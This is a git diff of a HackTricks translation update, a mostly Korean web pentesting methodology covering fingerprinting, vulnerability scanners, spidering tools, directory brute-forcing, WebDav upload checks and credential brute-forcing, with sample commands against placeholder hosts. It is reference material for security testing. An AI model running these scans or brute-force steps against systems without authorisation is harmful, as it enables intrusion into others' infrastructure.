mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/cache-deception/README.md', 'src/network
This commit is contained in:
parent
3361b4f4bd
commit
0050f980bc
@ -447,6 +447,7 @@
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
|
||||
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
|
||||
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
|
||||
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
|
||||
@ -929,4 +930,3 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 80,443 - Pentesting 웹 방법론
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다.
|
||||
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 다양한 유형의 **취약점**이 존재합니다.
|
||||
|
||||
**기본 포트:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API 안내
|
||||
### Web API 가이드
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -26,36 +26,36 @@ web-api-pentesting.md
|
||||
|
||||
## 방법론 요약
|
||||
|
||||
> 이 방법론에서는 도메인(또는 subdomain) 하나만 공격한다고 가정합니다. 따라서 scope 내에서 발견된 각 도메인, subdomain 또는 undetermined web server가 있는 IP에 이 방법론을 적용하세요.
|
||||
> 이 방법론에서는 도메인(또는 서브도메인) 하나만 공격한다고 가정합니다. 따라서 이 방법론은 범위 내에서 웹 서버가 불명확한 각 발견된 도메인, 서브도메인 또는 IP에 대해 적용해야 합니다.
|
||||
|
||||
- [ ] 먼저 웹 서버에서 사용되는 **technologies**를 **identifying** 하세요. tech를 성공적으로 식별할 수 있다면 이후 테스트 중에 염두에 둘 **tricks**를 찾아보세요.
|
||||
- [ ] 해당 기술 버전에 대해 **known vulnerability**가 있나요?
|
||||
- [ ] 잘 알려진 **tech**를 사용하고 있나요? 더 많은 정보를 추출하는 데 유용한 **tricks**가 있나요?
|
||||
- [ ] 실행할 **specialised scanner**가 있나요 (예: wpscan)?
|
||||
- [ ] **general purposes scanners**를 실행하세요. 무엇을 찾을지, 흥미로운 정보를 발견할지 알 수 없습니다.
|
||||
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** error 및 **SSL/TLS scan** (HTTPS인 경우).
|
||||
- [ ] 웹 페이지 **spidering**을 시작하세요: 가능한 모든 **files, folders** 및 **parameters being used**를 **find**할 시간입니다. 또한 **special findings**를 확인하세요.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
|
||||
- [ ] **Directory Brute-Forcing**: 발견된 모든 폴더를 대상으로 새로운 **files** 및 **directories**를 찾기 위해 brute force를 시도하세요.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
- [ ] 우선 웹 서버에서 사용되는 **technologies**를 **identifying**하십시오. 기술을 성공적으로 식별할 수 있다면 테스트의 나머지 부분에서 염두에 둘 **tricks**을 찾아보세요.
|
||||
- [ ] 해당 기술 버전에 알려진 **known vulnerability**가 있나요?
|
||||
- [ ] 잘 알려진 **well known tech**를 사용하고 있나요? 더 많은 정보를 추출할 수 있는 **useful trick**이 있나요?
|
||||
- [ ] 실행할 **specialised scanner**가 있나요(예: wpscan)?
|
||||
- [ ] **general purposes scanners**를 실행하세요. 무엇을 찾을지, 흥미로운 정보를 찾을지 모릅니다.
|
||||
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** error 및 **SSL/TLS scan**(HTTPS인 경우).
|
||||
- [ ] 웹 페이지 **spidering**을 시작하세요: 사용 중인 모든 가능한 **files, folders** 및 **parameters being used**를 **find**할 시간입니다. 또한 **special findings**를 확인하세요.
|
||||
- [ ] _brute-forcing 또는 spidering 중에 새로운 디렉터리가 발견되면 해당 디렉터리는 항상 spidered 되어야 합니다._
|
||||
- [ ] **Directory Brute-Forcing**: 발견된 모든 폴더를 brute force하여 새로운 **files** 및 **directories**를 검색해 보세요.
|
||||
- [ ] _brute-forcing 또는 spidering 중에 새로운 디렉터리가 발견되면 해당 디렉터리는 항상 Brute-Forced 되어야 합니다._
|
||||
- [ ] **Backups checking**: 일반적인 백업 확장자를 붙여 **discovered files**의 **backups**를 찾을 수 있는지 테스트하세요.
|
||||
- [ ] **Brute-Force parameters**: 숨겨진 **parameters**를 **find**하려고 시도하세요.
|
||||
- [ ] 가능한 모든 **endpoints** 중 **user input**을 받는 항목을 **identified**하면, 해당 항목과 관련된 모든 종류의 **vulnerabilities**를 검사하세요.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] **Brute-Force parameters**: 숨겨진 **parameters**를 **find**해 보세요.
|
||||
- [ ] 가능한 모든 **endpoints** 중 **user input**을 받는 항목을 **identified**한 후, 해당 항목과 관련된 모든 종류의 **vulnerabilities**를 검사하세요.
|
||||
- [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## 서버 버전 (취약한가?)
|
||||
|
||||
### Identify
|
||||
|
||||
실행 중인 서버 **version**에 대해 **known vulnerabilities**가 있는지 확인하세요.\
|
||||
응답의 **HTTP headers and cookies**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan**은 서버 버전을 식별할 수 있지만, 다음 도구들도 유용할 수 있습니다: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**
|
||||
실행 중인 서버 **version**에 대해 알려진 **known vulnerabilities**가 있는지 확인하세요.\
|
||||
응답의 **HTTP headers and cookies**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan**은 서버 버전을 식별할 수 있지만, 도구 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**도 유용할 수 있습니다:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
검색: [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **WAF가 있는지 확인**
|
||||
|
||||
@ -63,7 +63,7 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### 웹 기술 tricks
|
||||
### 웹 기술 트릭
|
||||
|
||||
사용 중인 다양한 잘 알려진 **technologies**에서 **finding vulnerabilities**를 위한 몇 가지 **tricks**:
|
||||
|
||||
@ -100,20 +100,21 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
|
||||
웹 애플리케이션이 이전에 나열된 잘 알려진 **tech/platform listed before** 또는 **any other**를 사용하고 있다면, 새로운 tricks를 **search on the Internet**하는 것을 잊지 마세요(그리고 알려 주세요!).
|
||||
_다음을 고려하세요: **same domain**은 서로 다른 **ports**, **folders**, **subdomains**에서 **different technologies**를 사용할 수 있습니다._\
|
||||
웹 애플리케이션이 앞서 나열된 잘 알려진 **tech/platform listed before** 또는 **any other**를 사용하고 있다면, 새로운 트릭을 인터넷에서 검색하는 것을 잊지 마세요(그리고 알려주세요!).
|
||||
|
||||
### Source Code Review
|
||||
### 소스 코드 리뷰
|
||||
|
||||
애플리케이션의 **source code**가 **github**에 공개되어 있다면, 자체적으로 **your own a White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 **useful**할 수 있는 **some information**가 있습니다:
|
||||
애플리케이션의 **source code**가 **github**에 공개되어 있다면, 자체적으로 **White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 유용할 수 있는 **some information**이 있습니다:
|
||||
|
||||
- 웹에서 접근 가능한 **Change-log or Readme or Version** 파일 또는 버전 정보가 있는 다른 어떤 것이 있나요?
|
||||
- **credentials**는 어떻게 어디에 저장되나요? (접근 가능한?) **file**에 credentials(usernames 또는 passwords)이 있나요?
|
||||
- **passwords**가 **plain text**인가요, **encrypted**인가요, 아니면 어떤 **hashing algorithm**이 사용되나요?
|
||||
- 웹에서 접근 가능한 **Change-log or Readme or Version** 파일이나 **version info accessible**가 있나요?
|
||||
- **credentials**는 어떻게 어디에 저장되나요? 자격 증명(사용자명 또는 비밀번호)이 포함된 (접근 가능한?) **file**이 있나요?
|
||||
- **passwords**는 **plain text**, **encrypted** 상태인가요, 아니면 어떤 **hashing algorithm**이 사용되나요?
|
||||
- 무언가를 암호화하기 위해 **master key**를 사용하나요? 어떤 **algorithm**이 사용되나요?
|
||||
- 어떤 취약점을 이용해 이러한 파일들 중 일부에 **access**할 수 있나요?
|
||||
- **github**의 **issues**(해결된 것과 해결되지 않은 것)나 **commit history**에 흥미로운 정보가 있나요? (예: 오래된 commit 안에 도입된 어떤 **password** 등)
|
||||
- 어떤 취약점을 이용해 이러한 **files** 중 하나에 **access any of these files** 할 수 있나요?
|
||||
- **github**의 **issues**(해결된 것과 해결되지 않은 것)에 흥미로운 정보가 있나요? 또는 **commit history**(예: 오래된 커밋에 **password introduced inside an old commit**가 포함되어 있을 수 있음)에는요?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -122,7 +123,7 @@ code-review-tools.md
|
||||
|
||||
### 자동 스캐너
|
||||
|
||||
#### 일반 목적 자동 스캐너
|
||||
#### General purpose automatic scanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -134,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### CMS scanners
|
||||
#### CMS 스캐너
|
||||
|
||||
CMS를 사용하는 경우 **run a scanner** 하는 것을 잊지 마세요. 때로는 흥미로운 내용이 발견될 수 있습니다:
|
||||
CMS를 사용하는 경우 **스캐너를 실행하세요**, 의심할 만한 유용한 결과가 발견될 수 있습니다:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제를 검사합니다. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제 검사. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -149,15 +150,15 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 이 시점에서 이미 클라이언트가 사용하는 웹 서버에 대한 정보(데이터가 제공된 경우)와 테스트 중에 염두에 둘 몇 가지 요령을 확보했어야 합니다. 운이 좋다면 CMS를 찾아 스캐너를 실행했을 수도 있습니다.
|
||||
> 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(주어졌다면)와 테스트 중에 유의할 몇 가지 요령을 가지고 있어야 합니다. 운이 좋다면 CMS를 찾고 스캐너를 돌렸을 수도 있습니다.
|
||||
|
||||
## 단계별 웹 애플리케이션 탐색
|
||||
## 단계별 웹 애플리케이션 발견
|
||||
|
||||
> 이 시점부터 웹 애플리케이션과 상호작용을 시작합니다.
|
||||
> 이제부터 웹 애플리케이션과 상호작용을 시작합니다.
|
||||
|
||||
### 초기 확인
|
||||
### 초기 점검
|
||||
|
||||
**유용한 정보가 담긴 기본 페이지:**
|
||||
**유용한 정보가 있는 기본 페이지:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
@ -168,26 +169,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
**오류 유발**
|
||||
|
||||
웹 서버는 이상한 데이터를 전송하면 **예상치 않게 동작**할 수 있습니다. 이것은 **취약점**이나 **민감한 정보의 노출**을 초래할 수 있습니다.
|
||||
이상한 데이터를 전송하면 웹 서버가 **예상치 못하게 동작할 수** 있습니다. 이는 **취약점**을 유발하거나 **민감한 정보 노출**로 이어질 수 있습니다.
|
||||
|
||||
- /whatever_fake.php (.aspx,.html,.etc) 같은 **가짜 페이지**에 접근
|
||||
- 오류를 발생시키기 위해 **cookie values** 및 **parameter** 값에 "\[]", "]]", "\[\[" 추가
|
||||
- **URL**의 **끝**에 **`/~randomthing/%s`** 를 입력하여 오류 생성
|
||||
- PATCH, DEBUG 같은 **다른 HTTP Verbs**를 시도하거나 FAKE처럼 잘못된 것을 시도
|
||||
- 오류를 만들기 위해 **쿠키 값** 및 **파라미터 값**에 "\[]", "]]", "\[[" 추가
|
||||
- **URL**의 **끝**에 **`/~randomthing/%s`** 같은 입력을 주어 오류 생성
|
||||
- PATCH, DEBUG 같은 다양한 **HTTP Verbs**를 시도하거나 FAKE 같은 잘못된 verb 시도
|
||||
|
||||
#### **업로드가 가능한지 확인하기 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **파일 업로드 가능 여부 확인 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
루트 폴더에 **파일 업로드** 권한이 충분하지 않지만 **WebDav**가 **활성화**되어 있음을 발견하면 다음을 시도하세요:
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드** 권한이 충분하지 않은 경우 다음을 시도하세요:
|
||||
|
||||
- **Brute Force** 자격 증명
|
||||
- WebDav를 통해 웹 페이지 내 **나머지 발견된 폴더들**에 **파일을 업로드**하세요. 다른 폴더에는 파일 업로드 권한이 있을 수 있습니다.
|
||||
- **Brute Force**로 자격증명 시도
|
||||
- WebDav를 이용해 웹 페이지 내부에 발견된 다른 폴더들에 **파일 업로드** 시도. 다른 폴더에는 업로드 권한이 있을 수 있습니다.
|
||||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
- 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, **MitM에 취약**합니다.
|
||||
- 애플리케이션이 **HTTP로 민감한 데이터(비밀번호)를 전송**하고 있다면, 이는 심각한 취약점입니다.
|
||||
- 애플리케이션이 어느 부분에서도 HTTPS 사용을 **강제하지 않으면**, MitM에 취약합니다.
|
||||
- 애플리케이션이 **민감한 데이터(비밀번호)를 HTTP로 전송**하면 높은 심각도의 취약점입니다.
|
||||
|
||||
취약점 확인을 위해 [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하세요 (Bug Bounty 프로그램에서는 아마 이러한 유형의 취약점은 인정되지 않을 것입니다) 그리고 [**a2sv**](https://github.com/hahwul/a2sv)를 사용해 취약점을 재검토하세요:
|
||||
취약점 점검을 위해 [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하세요 (Bug Bounty 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다). 취약점을 재확인하려면 [**a2sv**](https://github.com/hahwul/a2sv)를 사용하세요:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -196,60 +197,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
SSL/TLS 취약점 정보:
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
웹에 어떤 종류의 **spider**를 실행하세요. spider의 목표는 테스트 중인 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 유효한 경로를 최대한 많이 찾아야 합니다.
|
||||
웹 내부에서 어떤 형태의 **spider**를 실행하세요. **spider**의 목적은 테스트 대상 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 가능한 많은 유효한 경로를 확보해야 합니다.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일의 LinkFinder 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)를 사용합니다.
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS 파일용 LinkFinder와 Archive.org를 외부 소스로 사용합니다.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider로, "juicy files"도 표시합니다.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일 내 LinkFinder 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com)를 사용합니다.
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS 파일용 LinkFinder와 Archive.org를 외부 소스로 사용합니다.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider로 "juicy files"를 표시합니다.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML spider. Archive.org에서도 검색합니다.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 스파이더는 아니지만 유용합니다. 호스트 목록 파일과 경로 파일을 지정하면 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 가진 HTML spider입니다. 다만 유지보수가 안 되는 것으로 보이며, 사전 컴파일된 버전이 오래되고 현재 코드는 컴파일되지 않습니다.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 strict한 의미의 spider는 아니지만 유용합니다. hosts 파일과 paths 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML spider. 다만 유지보수가 되지 않는 것처럼 보이며, 사전 컴파일된 버전은 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
- [**gau**](https://github.com/lc/gau) (go): wayback, otx, commoncrawl 같은 외부 제공자를 사용하는 HTML spider입니다.
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 목록화합니다.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능을 가진 HTML spider입니다.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 JS beautify 기능을 가진 HTML spider입니다. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 나열하는 스크립트입니다.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML spider입니다.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 찾을 수 있는 JS beautify 기능을 갖춘 HTML spider. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 임베디드 자바스크립트 파일에서 엔드포인트를 추출합니다. 버그 헌터, 레드팀, 인포섹 전문가에게 유용합니다.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수가 중단된 것처럼 보입니다.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML 파일을 입력하면 정규식을 사용해 난독화(또는 minify)된 파일에서 상대 URL을 찾아 추출합니다.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용해 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 파이썬 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수되지 않는 것으로 보입니다.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML 파일을 입력하면 정규식을 사용해 난독화(압축)된 파일에서 상대 URL을 추출합니다.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 여러 도구를 사용해 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저로 페이지를 로드하고 페이지를 로드하는 데 불러오는 모든 URL을 출력합니다.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저로 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 출력합니다.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구들의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 파라미터를 찾는 Burp 확장입니다.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 beautified JS 코드를 가져오는 도구입니다.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 beautified JS 코드를 가져오는 도구입니다.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 도구입니다.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견하고 (wayback에 있는 응답을 다운로드하며 더 많은 링크를 찾습니다)
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 폼을 채워서까지 크롤링하고 특정 정규식으로 민감한 정보를 찾습니다.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가를 위해 설계된 고급 멀티 기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출해 fuzzing 및 열거에 사용할 커스텀 워드리스트를 생성하는 단순한 **Burp Suite extension**입니다.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 아주 유용한 도구입니다.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine에서 링크를 발견하고(응답을 다운로드하고 더 많은 링크를 찾음) 수집합니다.
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 폼 채우기까지 포함한 크롤링을 수행하고 특정 정규식으로 민감한 정보를 찾아냅니다.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가용으로 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출하여 fuzzing 및 열거용 커스텀 워드리스트를 생성하는 간단한 **Burp Suite extension**입니다.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 목적에 아주 좋은 도구입니다.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 출력합니다.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
루트 폴더에서 **brute-forcing**을 시작하고, 이 **방법**으로 찾은 모든 **디렉터리**와 **Spidering**으로 발견한 모든 디렉터리를 반드시 brute-force하세요(발견된 디렉터리 이름을 사용 중인 워드리스트 앞부분에 추가하여 **재귀적**으로 brute-forcing 할 수 있습니다).\
|
||||
루트 폴더에서 **brute-forcing**을 시작하고, 이 방법으로 발견된 모든 디렉터리와 **Spidering**으로 발견된 모든 디렉터리를 반드시 brute-force 하세요(이 과정을 재귀적으로 수행하고, 사용 중인 워드리스트 앞부분에 발견한 디렉터리 이름을 추가할 수 있습니다).
|
||||
도구:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된**(그리고 **느린**) 도구지만 동작합니다. 자체 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자체 서명된 인증서는 허용하지 않지만** 재귀 검색을 지원합니다.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자체 서명된 인증서를 허용하며, **재귀** 검색은 **지원하지 않습니다**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르고, 재귀 검색을 지원합니다.**
|
||||
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **old**(그리고 **slow**)하지만 동작합니다. 자체 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션들에 비해 너무 느립니다.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자체 서명된 인증서를 허용하지 않지만** 재귀 검색을 지원합니다.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자체 서명된 인증서를 허용하며, **recursive** 검색은 지원하지 않습니다.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 중복된 URL을 제거하는 도구로, 발견된 URL 목록을 입력하면 중복 URL을 제거합니다.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 기록에서 여러 페이지의 디렉터리 목록을 생성하는 Burp Extension입니다.
|
||||
